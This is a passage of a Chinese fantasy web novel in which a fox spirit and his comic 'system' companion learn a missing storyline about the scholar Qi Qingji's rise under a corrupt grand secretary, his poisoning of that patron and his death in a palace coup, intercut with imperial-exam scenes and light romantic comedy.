那举人刚被拎起来就有其他士兵拿着看着就不轻的枷锁往他身上一靠,动作很是粗暴的一扯扯远了,很快就把检查处腾空,等候入场的人还有不少,大家都等着进入,人群也只是乱了一会儿再次恢复如常。 “要下牢?”胡离净问他。 齐青寄轻轻摇了摇头,“要先戴着那玩意儿在贡院前面待三十天,三十斤重,身子骨要是不硬三十天下来差不多也废了,哪能等到下牢,前朝还有腰斩的,不过后来也废除了。”他说,“前朝不是斩了八个考官,流放了一百多人,有两百多人被打了板子,好像自从那次夹带小抄就少很多了。” 自从搜查出一个前面的检查似乎更加严格起来,到了齐青寄这儿胡离净没法靠近只好远远看着,头发耳朵衣服还有篮子里里外看了个遍,搜查完齐青寄也没法在那久待,匆匆回头看了眼示意他快点回去就头也不回的进去了。 久不出现的996晃悠悠的飘,【是不是越看越觉得现代人活的还是太好了。】 胡离净嗯了声。 【这里面每个考生的隔子差不多一米二,吃饭睡觉出恭都在里面,反正要一直写一直写,九天九夜才结束。】 “让我来我考不上。” 古代科举的录取率实在低的让人心惊,各种要求也多的离谱,从某种角度上来看现代却是简单很多。 【考不上是该的。】996见过宿主那一手放在现代人眼里极其飘逸又劲道的钢笔字,【就那字都不过关,科举最低要求的字是楷书,要是字写的不好不是楷书考官一看直接说不尊重考试,要么就直接打入劣等卷都不判了。】 996见胡离净没吭声决定还是要来提醒一下宿主任务,【宿主,按照原剧情男主哥哥没有参加殿试,那应该在四月前就该挖心了。要么齐青寄要么齐青奇总得挖一个吧?】 完不成任务也就是回不去,他本来就不想看家里那群老登中登和小登,胡离净早就想好这任务要浑水摸鱼,于是很敷衍的嗯嗯两声。 【宿主。】996声音里满是不信任,【这任务要是完不成我回去就被笑话死了,你不会这么残忍的吧?况且你还有你的商业帝国要统领啊!你要是不回去不就便宜那群老登中登和小登了么?】 胡离净一点都不在意那群老登中登和小登,为一群登放弃自己的生活实在不是什么明智选择,他不说话只是朝996笑了下。 996:【?】 笑什么笑,突然有种不好的预感怎么办? 996:【哈哈。】 笑笑算了。 996再次深刻反思,它是不是不该告诉宿主就算完不成任务也只是不能回到原世界,毕竟这个世界可是个狐狸精要是好好修炼可大有活头,不比当人都不一定能活一百岁好多了? 它越想越悔恨,越想越确定胡离净就是不打算做任务了,顿时悲恸至极,伸出两条细如火柴的胳膊捶胸顿足起来号哭起来,敲了半天没伤到别人反倒把自己的玻璃身体敲了个稀巴烂一直往下掉玻璃碎片。 这么一番操作把胡离净搞的活像用看鬼的眼神一样看它。 被这么看着它也后知后觉出有点尴尬,正想溜走,一直寂静的接收中心信号闪了闪。 996好奇的点进去一看,思考是自己发工资了还是哪又违规被警告了,就是没想到是本来以为要等很久的修正问题,加粗字体最显眼的标题最先映入眼帘—— 【编号8744288—ZAD8765世界缺失剧情已补充,请注意查收并修正。】 第40章 第四十章 缺失剧情 又是一年春三月, 无数学子举人从各地进京赶考,其中不乏有名号之人,譬如漳州齐氏兄弟, 譬如慈疏先生之孙又譬如青州吴氏长子。 有名之众众多寒门出身却只有漳州齐氏兄弟两人,初来乍到自然在各处递交拜帖期望有伯乐能赏识他们。 慈疏先生喜爱寒门学子,但今年考官是慈疏先生的弟子, 慈疏先生为表科举清廉早就闭门谢客,递再多拜帖一个都不接。 拜访到最后居然也只剩当朝阁老李言普, 两人本没有指望居于阁老之位的人能接他们两个小举人的拜帖,谁又能想到李言普还正正好好接了。 …… 齐青寄低眉颔首跟在年轻人身后, 绕过那天来时走过的长廊和前厅, 被带到了有不少侍卫的书房处, 他不知道这位李阁老单独唤他到底做什么, 想过在别的地方见他却唯独没想到会在书房, 这种大人物的书房在他心里是放有很多机密旁人不可轻易涉足的地方, 带他来的年轻人站在一边把门让给他,等手扶上那扇门时他才觉出点惶恐。 冥冥之中他有种感觉, 或许他今天不该来这儿,更不该推开这扇门, 齐青寄回头看了眼一旁站着的年轻人和明处的众多侍卫,也心知到了这儿也就没什么退路了, 只好硬着头皮手上使劲推开那扇门。 ‘吱呀——’ 两扇沉重的木门在面前缓缓打开,他刚调整表情抬头笑着, 打算先进去见个礼,一点温热的液体就飞溅到手上、脸上,最开始只是几滴,等李阁老再次动作就是更大的一股全溅到了他的脸上。 他整个人都僵住了, 脸上刻意做出的笑的表情此刻滑稽的僵着,温热的液体沿着他的脸往下流,他不敢眨眼,但长时间睁着眼睛很酸还是被迫眨了下。 粘腻的东西黏在他的睫毛根部甚至有点进了他的眼睛,顿时,他的眼前就变成了血红一片。 血液的主人终于晃了几下沉重的倒下了,齐青寄的脑袋不动,尽力移动眼球去看地上的人是死是活,青石板很快被血染红,那点血像是流不尽一样竟然到了他脚下。 薄薄的鞋底踩水时间一长袜子也会湿掉,刚刚沾到血他就觉得脚下粘腻起来,不太浓的血味存在感强烈的往他鼻子里钻,齐青寄几乎不会动了。 李言普像是才注意到齐青寄一样,老者拿着一张白手帕擦手里刀刃上的血,擦红了好几张手帕才勉强擦干净。 沾了血迹的帕子就那么被随意的扔在地上人的脸上,齐青寄的目光不受控制的随帕子掉落的曲线移动,最后定在了那人的脸上。 待看清那人到底是谁他几乎整个手都麻掉了。 严四浦,当朝严大人,三品官员就这么被随意的杀了? 齐青寄直觉自己现在笑的肯定很难看,于是缓缓把僵硬上扬的嘴角放下了。 李言普从身上摸了摸没摸到干净帕子,折回桌后把刀放好又找了好几张干净帕子出来,一边擦自己的手一边递给齐青寄一张,“擦擦。”他走进齐青寄动作强硬的把帕子塞进齐青寄手里,“不知道你要进来,不然也不会溅你一脸。” 齐青寄不知道自己是怎么擦脸的,只是僵硬的看李言普那张沾了血的布满皱纹的脸笑开了,指着严四浦晃了晃手,“你看看,死就死吧,临死还得把别人弄脏。这种人——死了都不老实!” 齐青寄勉强陪着笑了下,他精神极度紧绷,注意力全在眼前的阁老身上,乍的被一拍肩膀又惊了惊,他无措的回头看,那年轻人手从他肩膀上收回,“借过。” 他几乎是被半推着离开了书房的门,年轻人进来极轻松的把死去的严四浦拽起来,像拖一只死狗一样的拖出去扔在院中,“让他儿子来领人。” 书房的青石砖血迹已经足够明显,院中的白石子更是留下了触目惊心的血痕,虽然很快有洒扫仆役拎着水桶冲洗,可那股血腥气却无孔不入的围绕在齐青寄身边。 “吓到了?” 身后开着的书房门彻底关上了,能给他一点微波安全感的东西消失让他坐立不安又不能表现出来,“没有,只是从没有见过,一时有些讶异。” “是年轻人呀。”李言普说,“二十二岁的举人,实在少见,自古英雄出少年,以后多见见就是了。” 齐青寄勉强笑了下。 李言普:“我早就听过你跟你弟弟的名声,寒门子弟,实在不容易,不知道这次春闱后打算留在京城还是出去呢?” 齐青寄谨慎回答,“若是能考上自然听从朝廷的,若是考不上自然回漳州再去打磨三年。” 李言普笑了,“你这样的人肯定是能考上的,考上之后呢?留在京城还是外调。” “……”齐青寄:“那自然也是听从朝廷安排,我是做不得数的。” “诶!”李言普很不赞同道,“年轻人要大胆一些,依我看要是能留在京城自然是京官更好,到时候将家人全都接回来,像你这样的青年才俊就是京城中的千金小姐也是娶得的,到时候享齐人之福岂不快哉。” “……是。” “不过要是正常路子就算考个状元出来也只是七八品,不知道要苦熬多少年。” 齐青寄要是现在还听不明白李言普想干什么那才是真的傻子,他清楚自己寒门出身又有好名声实在是最好控制的人选,也敢保证自己今天不答应就会像严四浦一样躺着出去,不同的就是严四浦至少有家人来领能埋到土里,他只会被随便扔出去喂了鸟。 “……为官之路漫漫,若是能得到大人的提携,我感激不尽!” …… 海浪翻滚,无数弓箭特制渔网已经做好准备只待鲛人出现。 齐青寄神情倦怠站在后首,他站得高,海浪被太阳一照出现的白色泡沫和某些反光的东西他看的清清楚楚,自然,当某些类似海藻一样的东西出现时他也第一个看到了,下一秒那些头发散开就露出了一张洁白无暇的脸,那张脸堪称完美漂亮,整张脸找不出一点错,像是人们对鲛人的惯有印象,漂亮的实在不像话。 但他只是很冷淡的对上那双注视着自己的眼睛,慢慢的海面下出现了一张又一张漂亮的脸,一旁侍从连忙将弓箭递上,“大人,您开第一箭吧。” 所谓开箭的开只是一种说法,并不代表下面会用箭来射杀他们,甚至齐青寄手里这把箭也是特制的、没什么杀伤力来惊吓他们的东西,在绝不大部分情况下捕鲛并不用箭,这是为了保护他们除了珍珠外一个同样珍贵的东西——他们好看的皮囊。 齐青寄面无表情接过箭拉满弓对准鲛人聚集的地方。 鲛人在岸上对着太阳视力并不好,更别提齐青寄站着的位置正好逆着光,直到那支箭即将进入水面时鲛人才惊慌逃窜,他们的逃窜遂了众人的意——早早铺好的网太大只好让他们在慌乱挣扎下撞上缠绕再凭借人力捞起。 所以捕捞鲛人并不容易,也只有朝廷才有雄厚财力聚集大能提高捕获率。 琼州与京城距离遥远,大部分鲛人没法带回去,齐青寄被迫滞留琼州等待鲛人吐珠,不吐就催珠,直到数量或质量足够交差,这个时间并不由他们控制,吐珠的过程齐青寄也是门外汉,所以这一过程他并不参与。 琼州与漳州毗邻,抄水路不过一日即到,但齐青寄已经许久未归家了。 从弟弟青奇在京城被狐妖挖心,到自己彻底进入李言普门下甚至认了他作义父,家中父母并不清楚他的近况,虽然次子被妖怪所害,但好歹长子不仅中了状元还是五品京官天子宠臣,这好歹抚慰了些悲痛。 他想了想,提笔写了封信盖上自己的私章,还是决定趁这个机会回一次漳州,毕竟等再回京城想回漳州就太不容易了。 也不是不能把父母接到京城,他不敢,自己一个人在李言普那里挣命已经是下下策,要是真把父母接来这不是放在自己眼皮子底下尽孝,是再送个把柄给李言普。 回漳州他没告诉谁,却不料一下船就见到了小弟。 齐青寄一怔,他与小弟其实不如二弟跟小弟更亲切,长兄如父,长兄的身份注定他要压着两个弟弟,但长久待在京城现在乍见到亲人齐青寄几乎无法抑制自己的情感,“阿言?你怎么……” 齐青言抱着刀站在那里一副捉妖师打扮,“我在漳州听到齐大人到琼州了。” 齐青寄:“……” 他听了这声齐大人只觉得难过,站在那里好一会儿才从胸口掏出那封引荐信,“……你之前不是一直想去镇妖司么,我写了封信,到时候送去漳州镇妖司,或者你想去别的镇妖司?” 齐青言:“……我想去哪就去哪?大哥一个五品官哪来这么大面,因为李阁老?” 齐青寄更加说不出话了,心口堵着一口气噎的他疼的慌。 “大哥来捕鲛也是李阁老的意思吧?为了取珠去让陛下哄宫里美人的高兴来得青眼?大哥自幼生活在漳州——”他说着加重口气,“难道不知道取珠催珠是对还是不对吗?” 齐青寄勉强笑着,不知道是找理由宽慰自己那点剩的不多的良心还是在宽慰齐青言,“鲛人是妖物。” “是妖物。”齐青言说,“从不害人的妖物,就该死吗?” 他怀里抱着的那把刀被紧紧攥着,“那么我手里的刀该斩他们么?” “你要跟着李阁老当这个奸臣吗?!”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 40-50 第41章 第四十一章 将亡 人间转了几转, 不过又是一次轮回。 没有谁能一直在这儿,驰骋官场几十年从寒门入阁力压名门的李言普也不行。 褐色的汤药入喉大多被已经形销骨立的老人用尽最后的力气咳出来,不太好闻的味道全沾到了齐青寄手上, 他甩了甩,很有耐心的笑了下用勺子刮了刮李言普的嘴唇上的药汁重新舀了一勺喂进去,马上油尽灯枯的人已经没有任何力气再去反抗, 虽然不去主动咽下但还是有些沿着喉咙进入。 李言普已经无法说话,眼睁睁看着自己喝了要命的汤药, 眼珠暴凸几乎要掉出来,他恨恨的瞪齐青寄, 也瞪站在一旁的王二, 随即又用眼神扫视那些肯定就在附近藏匿着的旧部。 若是现在他还能站起来必定要杀了这一群人, 不就是看他现在人之将死谁都想上来欺压一把。 汤药没有喝多少, 见效也没有齐青寄想的那么快, 本来不打算与他多说什么却突然来了兴致, “当年青奇在殿试前被妖怪挖了心,我来请求您去抓到那个妖怪——一个妖怪而已, 在京城您当时只手通天,您真的抓不到吗?” 抓到与抓不到在此刻其实已经并不重要, 其中的轻慢与敷衍多年来却从未消失。 他的嗓音很重,因为情绪的波动显得有些尖锐, “您抓了吗——我真的这么好敷衍么?” 李言普发出嗬嗬的声音,卯足力气想伸手抓他一下却被躲开, 这么一下又耗尽了他休息半天才缓好的精气神,那条胳膊软绵绵的垂在床边都没法收回,齐青寄再次舀了一勺药汁喂进他嘴里,“您看看, 您多么幸运,虽然没个一儿半女但还有我这个干儿子喂你喝药。”他用力掐住李言普的下巴将剩下的汤药一股脑灌进去,“我的父母垂垂老矣卧病在床时我连这么一碗药都喂不了。” “我不敢回去,不敢写信,我的父母兄弟受我拖累不知搬了多少次住所。”齐青寄笑了下,“我这个次辅当的实在是风光呀!” 他从不愿意回忆苦痛,夜深人静时品味痛苦而无处发泄只是对自己的一次次折磨与凌迟,而现在的发泄苦痛也并不让他感到痛快,久居高位的人早已淡忘了人情,在他面前发泄无异于自求其辱。 齐青寄很耐心的坐在那里看药效发作、看他苦苦挣扎又求不到解脱,他神情淡漠坐在这里看他等死,一直守在门口的侍卫却轻轻的扣了扣门,“大人,太子来了。” 齐青寄目光如炬嗖的抬头望去,还看不到来人的入口依旧空空荡荡,但他好像已经看见了那个跟他在朝堂上处处争锋的太子,处处拌人手脚的人实在可恶,但他又不得不承认若是来日真是太子继承大统或许这天下又能变个好模样。 但这个前提不能是他死。 …… 太医背着药箱恭敬的守在一旁,当朝太子李涌已经到了一刻钟仍旧不见有人来迎,但这境遇于他一个不得圣宠的太子已经是可以料到的,更何况要论当今天下谁最不把皇帝放在眼里,首当其冲的就是首辅李言普,不过李言普眼见着就要去见阎王已不足为惧,其次就是现在正如日中天的次辅齐青寄了。 “太子到来未曾远迎是微臣之过——只不过义父如今情况不好,身边是一刻也离不了人,还请陛下恕罪!” 人还未到请罪的声音就已经传来,李涌八风不动还是那副笑模样,立马站起将作势欲拜的齐青寄扶起,“次辅言重了,有什么怪罪与不怪罪的呢,生死面前无大事,李阁老为我大武鞠躬尽瘁一辈子,如今这般父皇十分心痛,只是父皇身体最近也不大康健没法亲自出宫探望,只好命我带了御医来看看阁老了。” 他说着就让身边太医站在齐青寄面前,“我把白院使带来了,还是快让院使瞧瞧阁老到底如何,宫中还有不少名贵药材,有用得到的尽快取用才好。” 齐青寄一脸感动又作势欲拜,“皇恩如此浩荡实在是难以消受!” 李涌又连忙推拒不让他拜。 齐青寄没顺着他的力道起来反倒是假惺惺掉了几滴眼泪,略带哽咽开口: “只是我义父福薄,刚才已经去了。” “竟如此、竟如此……”李涌看起来似乎很不可置信,长吁叹气开始宽慰齐青寄。 两个各怀鬼胎的人开始为着一个早就盼着死的人叹息,你说失去义父实在让人悲痛,我说大武失去如此栋梁再难为皇上效劳实在心痛,都假惺惺叹了会儿气不知道有多么悲痛。 “那白院使还是先回去吧。”李涌开口,“白院使年纪也不小了,今天专门跑一趟背着如此沉重的药箱,也属实辛苦,只可惜阁老实在没福啊。” 白院使眼观鼻鼻观心,全程装自己是聋子是瞎子,太子说他辛苦那就辛苦,太子让他走那就该走了。 白院使一走李涌居然坐回原位开始喝那杯已经凉掉的茶,齐青寄默不作声看了他好一会儿,“太子,下人不当心,这杯茶已经凉了,咱们书房去吧?” 李涌微微一笑,“次辅盛情,那么——请吧。” …… 书房失去了自己真正的主人已经许久没有人踏足,一些比较重要的东西已经被齐青寄彻底撤出,失去人气的屋子灰败起来,李涌现在书房里绕了一圈,“这么大一座宅子没了主人以后就不知道怎么样了。” “实不相瞒,这宅子义父临去前已经给了我。”齐青寄略不好意思一笑,“义父恩情深重,对我实在提携良多。” “是。”李涌也笑,“既是义父也是良师,不过今后的路也只靠自己走了,没别人在前面领路,走好了走差了也只能怨自己了。” “……”齐青寄垂着头不着痕迹皱了下眉,再抬头脸上那点笑没变过,“太子学的是治国之道,何为好何为坏,请太子赐教。” “为人臣者,当忠君爱国,为君者亦要爱民如子。” “太子这话是在点我了?” 李涌显然没想到齐青寄会直接捅破,但也并不慌乱,“没有李言普在上面,自然走得明路,总好比受人唾弃的好。” 齐青寄并不接话反倒开口,“我只是受人唾弃,好歹富贵在手,那殿下呢,若是有朝一日女子身份东窗事发,怕不止是受人唾弃这么简单了吧?” 她一怔,对齐青寄清楚也不意外,此刻也显得更诚恳了些,“我父皇不施仁政,最长几年不曾上朝被李言普彻底架空,如此李言普身死,朝堂必然大乱,我那些兄弟各个都是精通吃喝的草包,若是来日我能继承大统自然是最好的选择。” “更何况你是寒门出身,从下面来,我想你当然更清楚过的是什么日子。”李涌说,“李言普虽然维持朝政,但依旧搜刮民脂,他的党羽也不外乎是一群同流合污之众……” 齐青寄却打断了她,“难道我就不是殿下口中的同流合污之众吗?” “我今日既然来找你这么说,那自然是觉得你并不相同,假使你能……” “殿下学的真是为君之道?”齐青寄嗤笑一声,“那殿下也未免太过天真了些。” “论出身,我是寒门无根基无相熟,从李言普党羽下脱身还能去哪?” 李涌一时无言。 大武朝堂三分,寒门为浮萍,名门自成一派,武将零散在各个派系,而根系最深厚最大的就是李言普名下。 他若是脱离不亚于自毁自己原本忍辱负重苦心经营多年的事业,且不论这个,就单论脱身后从前积累的人脉手段都难以使用,还定会被其党羽群起攻之,一不留心就是尸骨无存万劫不复。 那么他过去放弃的,胆战心惊的又到底是为了什么呢? “没有李言普,还会有王言普张言普,没有齐青寄,还会有别的青寄。” * 齐青寄没料到朝堂的天变的如此快,李言普的故去本来就让其党羽人心惶惶,他被架着到了今天的位置,底下人都在看他,整理接手李言普的势力已经让他焦头烂额,遑论其中还有一些他亲近人都不知道细枝末节的人脉没法拢到手里。 皇帝不理朝政已经是当今的惯例,现在病重更不可能上朝,一切折子都往次辅这儿送,他还乱着,南边又发了水患,流民全往北边逃,让本来就乱糟糟的朝堂更成了一锅。 这样下来铁打的人都熬不住,病再重他也没法离开自己现在的位置只好咬牙硬撑,如此循环往复齐青寄病的更重了,他实在没办法硬撑着身体吩咐给底下人暂时休息养病,身上劲一松下来所有不适都一股脑的找上他,他的脑袋发昏,忽冷忽热,青奇青言还有故去的父母都在眼前走了一圈,他想起了人临死前的走马灯甚至开始疑心自己是不是撑不过这场病。 昏暗的房中只留了他一个人静养,闲暇无事时他又开始细细从开始思考——到底是什么时候进入无法挽回的境地的? 明明在二十二岁之前他跟弟弟是漳州的神童,小弟也立志捉妖除害。 明明最开始加入李言普也只是想着虚伪与蛇,等来日有的是机会脱身。 他思来想去恍惚间意识到应该是从那个挖了弟弟心的狐狸精开始,从他年纪尚轻阅历尚浅轻易听信李言普会帮他捉妖而义无反顾的加入从此再也无法脱身,从他一错再错与小弟离心,从他被迫无法回家再不能见父母一面。 说到底还是他的过错,不过也就是这么一个可笑的意外,不仅葬送了青奇,也葬送了他。 谁都有错,可谁都没错。 他谁都没法怪罪,到头来也只能怪一怪自己罢了。 他就这么昏昏沉沉病了几日,在床上躺的骨头都松了于是起来翻看些不能交给别人处理的折子,时间的流逝已经很模糊了,直到眼前都看不清了齐青寄才惊觉时间的流逝。 今日似乎太过寂静了些。 身边没有人来传递消息,宫中的消息似乎也很久没有了。 “王二……王二!”齐青寄撑着桌子站起来,“王二!” 王二悄无声息从房梁上下来,“大人。” “宫里怎么样了,皇帝身体如何?除了太子还有谁进宫了?萧贵妃那里呢?” 王二低眉敛目,飞快看了眼齐青寄的脸色,“……不太好,皇帝似乎不行了,萧贵妃和七皇子都在宫里,我们的人正护着他们,但那是两个蠢人,似乎觉得有我们支持就高枕无忧了,不一定能争得过太子。” 齐青寄撑着去拿衣服,“宫里这样怎么不告诉我?我要进宫。” “大人!”王二连忙拦他,“严大人已经带兵在宫里了,您病还没好,在宫里怕是熬不起。” “熬不起也得去。”齐青寄一声不吭披上衣服,“我要是不去没主心骨谁盯着?” 现在不去也得去,事物变化都在一瞬间,李涌还在宫里盯着,他就光在这里听消息已经落了下乘。 久未出房间突然出去窥见天光还有些恍惚,齐青寄步履匆匆,余光看见天边烧成一片红色,等他再定睛一看,哪里是什么烧红的云彩,那点红是处于京城最高处的宫殿燃烧显出的颜色,不远处浓烟滚滚,他的府邸正在文武大街,从宫门快马不出多时就能到这里,齐青寄下意识觉出不妙来—— 府邸前面乱哄哄的,侍从快步从外奔走进来,“大人,陛下没了,宫里已经变天了!云将军叛变,严大人从朱凤门杀出去往北边逃了,咱们也逃吧?” 齐青寄来不及多想,不论是李言普死后的重担,或是知晓太子的秘密,还是看似健康状态急转直下的皇帝,又或者是自己来势汹汹的病。 这一切的一切都是他如今无法抢占先机看清全局的导火索,人事天命似乎也都不在他这里。 他不得不逃,也必须马上逃。 太子若是登基,李涌或许会以女子身份留名历史,但绝不是刚登基民心不稳的时候,所以这个时候知道她秘密却又与她不在同一阵营的齐青寄是首当其冲要被杀掉的人。 李涌绝对会不惜代价、在第一时间杀掉他。 一众侍卫护着他往后院跑,往常还算矫健的身体在此刻不听使唤,踩在地上宛如走在棉花上一样落不到实处,喊杀声好像在远处又好像在耳边。 在跑的时候最好不要回头,齐青寄一直知道,但在此刻某种冲动驱使着他回头看看,他这才发现身后早杀成了一片。 就当他以为杀来府里的也就这么点人时人却越来越多了,李涌抱着让他必死的决心,不去巩固宫里反倒集结人马来杀他一个,齐青寄一时间是真不知该荣幸还是该感到好笑,自己竟然如此被李涌忌惮? …… 府里到处都是乱哄哄的,李涌提着剑进来的时候地上全是血,乱跑的仆从有的被乱箭杀死,匍匐在地上的人都瑟瑟发抖,她看来看去没有看到自己想看的人继续往后面走,越靠后刀剑相接的声音就更加明显,她听到一声怒吼,随即就看到了提着剑在人群中砍杀的齐青寄。 剑砍到肩膀上无法拔除,酸麻的双臂甚至连剑柄都放不开,因此当某一刀捅进他腹部的时候甚至连反抗都没有。 血液飞溅到上空,更多的拿着刀的、拿着剑的人扑向中心,无数把刀和剑捅入又拔出,士兵在此刻已经不太在乎到底砍在哪里,只知道周围人都在砍,于是也挥舞着在宫变中早已染血麻木的刀砍下去,哪里有空砍哪,哪里没人砍砍哪里。 杀红眼的士兵只知道杀死次辅这场宫变也就彻底结束了,于是都像是杀疯了一样,砍啊砍啊。 直到李涌不知道喊了多少次诸人才如梦初醒,有一个清醒了去拦下一个,慢慢的,所有人都停下了动作。 分开的人群给李涌让出一条路,她第一次有了某种不想去看的冲动,但很快分开的士兵还是把这副场景尽数展露在了她面前。 那摊血肉躺在那里,血沿着青石板往下流,她无法分辨哪里是胳膊,哪里是腿,血像是有意识一样追着她的方向流。 李涌脚下像生了根无法挪动,眼睁睁看着那道血迹挨蹭到了她不甚干净的鞋底。 人间转了几转,不过又是一次轮回。 上一次是李言普,这一次是齐青寄,那么下一次又会是谁? 第42章 第四十二章 你身上才有狐狸味!…… “看看你们干的好事!” 一人一统凑在一起看完缺失剧情996就被劈头盖脸骂了一句, 996这下不干了,冤枉的要命,【关我什么事啊!就算没有我们狐狸精也是存在的, 齐青奇肯定会被挖心,现在有我们好歹你不挖了不是?】 “那是我不挖,不是有你们我才不挖。” 【……?】996捶胸顿足, 【你看!你看你就是不打算做任务了,之前还跟我笑糊弄我!啊啊啊啊!命运啊, 为什么要这样折磨着我!】 996留下一堆玻璃碎片又走了,这下不管胡离净怎么叫都不肯出来, 要不是身体里那种很玄妙的羁绊还在胡离净甚至怀疑996是不是已经愤怒解绑另寻明主了。 胡离净:“……” * 为期九天的春闱把齐青寄折腾的不清, 他回来第一件事就是舒舒服服洗个澡躺在床上大睡了一天一夜, 回来好几天还是好好吃不下饭, 清汤寡水喝了四五天粥才有胃口吃别的。 但他其实并没有时间休息, 三月中旬考完会试, 基本是四月中旬放榜放榜后所有贡士都要立马去参加殿试,时间相当之紧凑。 他只简单休息了几天修养精气神就再次投入学习, 只是齐青寄发现自从自己回来胡离净对自己是尤为纵容,要怎么亲就怎么亲, 活像是他要太阳都给摘下来一样,搞的齐青寄精神头恢复的尤其快, 连继续温书都不那么痛苦了。 原来把自己搞的惨一点还有这种好处,齐青寄抱着个书坐在那直乐。 胡离净撑着下巴坐在对面看他, “要不要休息一会儿?” 齐青寄:“……?” 齐青寄立马端起书认真的看,看了会儿从旁边神情很谨慎的看他,似乎在仔细辨别胡离净在阴阳怪气他不好好看书只知道笑还是真的在让他休息。 “真让你休息。”胡离净一眼看穿他在想什么,“现在反正也看不进脑子, 不如直接休息会儿。” “真的呀?”齐青寄把书一扔又放肆起来,从凳子上起来绕过胡离净这里从背后抱着他要亲,“再亲一下。” 齐青寄眼里有点不明显的笑,依旧坐的很正让他从旁边追着亲,柔软的嘴唇落在侧脸,追着嘴唇在唇角亲了无数下才真亲到。 已经很熟悉的气息互相交缠,齐青寄呼吸很急,恨不得追着直接把胡离净给吃了,亲着亲着觉得胡离净身上的香全缠在了自己身上,香的他头晕眼花又腿软。 他很想赶紧把胡离净推开喘口气缓缓,又觉得实在没有男子气概,说出去被夫人亲的喘不上气实在是笑掉大牙!只好忍着,忍到后来什么时候被胡离净放开的都不知道,等再一睁眼他就察觉出点不对,很不确定又缓慢的低下头一看。 齐青寄:“!!!” 他怎么坐在胡离净腿上?? 齐青寄气都没喘匀就猛的跳起来,连声催促胡离净赶紧起来。 胡离净有点懵,但也隐隐约约有点明白他在想什么,看戏似的站起来看他动作,只见齐青寄坐在凳子上把双腿往开一分撑着一条腿坐的极其有气势,然后拍了几下自己的大腿示意胡离净坐下。 胡离净脸上的笑更大了,带着点戏谑毫不客气一屁股坐在他腿上,但也留了点余地脚依旧留在地上撑着自己大半体重,他本来就比齐青寄高,现在坐在他腿上只会更高,齐青寄上下看了个遍把症结归结到还放在地上的脚,于是他动了动腿,“你坐好呀,没事,放心坐,脚不要放在地上。” 胡离净:“真的?” 齐青寄十分笃定:“真的!” “行。” 胡离净当然要让齐青寄知道自己到底几斤几两,闻言直接把脚拿起来将整个人的重量都放在了齐青寄身上,齐青寄明显被压懵了,坐在凳子上没法稳住自己的身体还晃了晃,连忙伸手去扶桌子企图稳住身体,胡离净立马用双臂环上了他的脖子,还大鸟依人的将脑袋靠在他怀里,“你怎么了,抱不动我吗?” 胡离净太过大鸟依人,这个姿势几乎挡住了齐青寄企图从桌子那里借力的打算,也挡住了他的视线,齐青寄只好抱住了胡离净,整个人的声音都在使劲,“……没有啊!特别轻,怎么会抱不动?” “真的啊?” 胡离净似乎放心了,他看不见胡离净的脸只好从他的声音判断他的情绪,光听声音轻快又高兴,齐青寄也高兴了,把胡离净抱的更紧了点,“当然是真的!” 胡离净的笑声从头顶上传来,接着额头上就落了个吻,他顿时飘飘然不知今夕何年,连胡离净预谋憋坏也没发现,正醺醺然,敏感的腰侧又突然被挠了下。 “啊——!” 齐青寄直接把胡离净扔了出去,胡离净也早有准备立马松手从他怀里跳下去,眼见着齐青寄也要跳起来谴责他,胡离净立马伸了根手指阻止他靠近并使用了目前最有效的办法: “要殿试了——快看书!” * 胡离净进来的时候跟一个中年男人打了个照面,他思考了下要不要装个没看到对面就拱了下手,“胡大人。” 胡离净觉得好笑,有李言普在上面压着当朝三品大官得叫他一个妖怪大人,觉得好笑他也就笑了,也拱拱手,“严大人。” 严四浦站直身体,“胡大人是来找阁老的?” “是。”胡离净并不打算多言,简单回答也就不再说话,严四浦自然看出胡离净没有继续聊天的意思,于是道了声先行离开了。 书房门前还是那个年轻人守着,胡离净跟他打了几次照面到现在还不知道他叫什么,敲门前顺便问了一嘴,“你叫什么来着。” 年轻人没料到胡离净进门前跟他搭话,可疑的凝滞几秒,“……王二。” 胡离净的手都要放在门上听见这个王二又收回来了,“……你叫什么?” 王二飞快瞟他一眼重复,“王二。” 胡离净:“?” “王二?”胡离净重复,“真名?” 王二大概也看出胡离净的意思,“我哥叫王大,起名是挺草率的,跟你的‘狐狸精’不相上下。” 胡离净:“……” 多嘴问一句还受到了人身攻击。 门被叩响,李言普说了声进来,他推门进去就看见李言普已经穿戴好,“阁老。” “嗯。”李言普低头检查身上的东西没抬头,“怎么想起来进宫看谢恩宴。” “今年的状元是齐青寄。”胡离净直言。 李言普笑了下,对这个未来能延年益寿的希望格外宽容,“我就猜到是想去看看你的小情郎。”他打量了下换下红衣穿一身靛蓝的胡离净,“换了衣服好,你常穿的太扎眼。” “谢恩宴后就要打马游街。”李言普说,“你那小情郎连中六元,实在不一般啊。” 胡离净定定看他几秒又垂眼隐藏下眼里那点敌意,“也就是会做学问,不一定会当官。” “……”李言普那张布满皱纹的脸一直挂着笑看起来有种诡异的感觉,此刻不笑了不舒服的感觉才略有减轻,他意味深长,“你在我名下,要是齐青寄也投入我门下也是一桩美事。” 如果说最开始胡离净有利用李言普来提携齐青寄的意思,那么从知道那些缺失剧情开始就没再有过这种想法。 李言普见胡离净不说话又笑了,“不用这样紧张,不想也就不想吧,官场确实凶险,在我门下更是如此,要是想平平淡淡走升迁之道也可,到时候直接让他留在京城入翰林吧。” 李言普这时异常好说话,或许是他自信于血契能把胡离净捆牢因而并不执着于抓住他的其他把柄和要害,于是也就这么轻轻揭过了。 …… 殿试名次调整与会试基本没有什么太大变动,状元齐青寄,解元伍文忠,探花解廉,其余名次零零散散有调整,本来以为齐青奇也只能在三甲之列,最后居然也到了二甲。 谢恩宴由状元着官服先向皇帝叩拜谢恩,接受赏赐及训示。 状元、榜眼与探花一人一桌,其余进士四人一桌,状元用金碗其余人用银碗以体现差异。 好容易应付完皇帝坐回位置,齐青寄扯了扯身上官服很不自在,拿起眼前那个金碗稍微喝了一点就听见有人叫他,疑惑的左右看了眼原来是坐在右侧的探花解廉。 解廉跪坐在桌前似乎弯着腰在吃饭实际上鬼鬼祟祟跟齐青寄搭话,“诶——你听我说。” 齐青寄思来想去不记得自己认识这号人,但也可能是自己打过交道但是又忘了,只好很尴尬的笑了下嗯了声以示自己在听。 “你听我说,你身上有狐狸味。” 解廉一脸神神秘秘的说出这么一句话,齐青寄不笑了,立马毫不犹豫的回嘴,“你身上才有狐狸味!” 解廉看他回嘴如此之快也纠正,“你身上真有狐狸味!” 齐青寄:“你放屁。” 解廉:“???” 